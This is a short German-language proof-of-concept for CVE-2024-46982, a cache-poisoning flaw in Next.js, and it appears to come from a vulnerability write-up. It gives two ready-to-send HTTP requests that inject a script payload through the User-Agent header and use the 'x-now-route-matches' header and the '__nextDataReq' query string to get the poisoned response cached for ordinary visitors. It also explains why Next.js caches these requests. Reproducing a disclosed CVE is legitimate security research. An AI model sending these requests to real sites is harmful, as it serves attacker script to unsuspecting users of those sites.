
Reproduktion von CVE-2024-46982
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Besuchen Sie http://localhost:3000 (normale Anfrage) mit einem beliebigen Webbrowser.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Besuchen Sie http://localhost:3000 (normale Anfrage) mit einem beliebigen Webbrowser.

x-now-route-matches ist ein benutzerdefinierter HTTP-Header, der von Next.js erkannt wird. Wenn er vorhanden ist, behandelt Next.js die HTTP-Anfrage als „SSG“ (Static Site Generation), wodurch die HTTP-Antwort zwischengespeichert werden kann (Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1 ist ein von Next.js erkannter Query-String. Wenn vorhanden, behandelt Next.js die HTTP-Anfrage als „Abrufen von __NEXT_DATA__“.
Den vollständigen Artikel finden Sie im Abschnitt Credit.